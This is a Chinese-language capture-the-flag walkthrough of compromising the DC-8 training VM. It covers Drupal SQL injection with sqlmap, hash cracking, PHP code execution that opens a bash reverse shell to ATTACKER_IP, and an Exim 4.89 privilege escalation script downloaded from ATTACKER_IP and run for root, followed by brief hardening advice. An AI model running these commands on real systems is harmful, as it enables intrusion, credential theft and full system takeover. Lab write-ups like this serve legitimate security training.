从Drupal后台到Root权限：手把手复现DC-8靶机提权全过程（含Exim 4.89漏洞利用）

从Drupal后台到Root权限DC-8靶机渗透实战全解析当你第一次拿到一个Drupal后台权限时可能觉得已经成功了一大半。但真正的挑战才刚刚开始——如何从有限的Web权限突破到完整的系统控制权这就是我们今天要探讨的DC-8靶机渗透实战。1. 环境准备与初始信息收集在开始渗透之前我们需要确保测试环境配置正确。DC-8靶机与Kali攻击机应处于同一局域网段这是后续所有操作的基础。使用netdiscover快速定位靶机IPnetdiscover -r 192.168.108.0/24确认靶机IP后进行全面的端口扫描nmap -sV -p- 192.168.108.141典型的扫描结果会显示两个关键服务端口服务版本22SSH7.4p180HTTPApache关键发现80端口运行的Web服务使用了Drupal CMS。这将成为我们的突破口。2. Web渗透从SQL注入到后台控制Drupal 7.x版本存在已知的SQL注入漏洞。我们可以通过以下步骤验证和利用使用sqlmap检测注入点sqlmap -u http://dc-8/?nid* --batch提取数据库关键信息sqlmap -u http://dc-8/?nid* --tables -D d7db重点获取用户凭据sqlmap -u http://dc-8/?nid* --dump -C name,pass -T users -D d7db获取的哈希值可以使用John the Ripper破解john --wordlist/usr/share/wordlists/rockyou.txt hash.txt成功破解后使用获得的凭据登录Drupal后台http://dc-8/user/login。这是整个渗透过程中第一个关键转折点。3. 权限提升从Web Shell到系统访问进入后台后寻找能够执行PHP代码的功能区域。Drupal通常允许在特定模块中输入PHP代码。测试代码执行?php system(id); ?确认可执行后建立反向Shell连接?php system(bash -i /dev/tcp/ATTACKER_IP/6868 01); ?在Kali上监听nc -lvnp 6868获得Shell后立即升级为交互式终端python -c import pty; pty.spawn(/bin/bash)4. 本地提权利用Exim 4.89漏洞在低权限Shell中检查SUID权限文件find / -perm -4000 -type f 2/dev/null发现exim4具有SUID权限且版本为4.89。这是已知存在本地提权漏洞的版本。搜索可用漏洞searchsploit exim 4.89下载并执行提权脚本wget http://ATTACKER_IP:9999/46996.sh -O /tmp/exploit.sh chmod x /tmp/exploit.sh /tmp/exploit.sh -m netcat成功执行后将获得root权限的Shell。最后一步是寻找flag文件通常在/root目录下。5. 渗透后的思考与防御建议整个渗透过程展示了从Web应用到系统级的完整攻击链。防御方面有几个关键点Drupal安全及时更新CMS和插件限制用户输入过滤禁用不必要的PHP执行功能系统加固定期检查SUID/SGID文件更新或移除存在漏洞的服务实施最小权限原则在实际渗透测试中每个步骤都可能遇到各种意外情况。比如在DC-8靶机中蚁剑连接失败就需要灵活转向其他方法。这种适应能力正是区分普通测试者和资深安全人员的关键。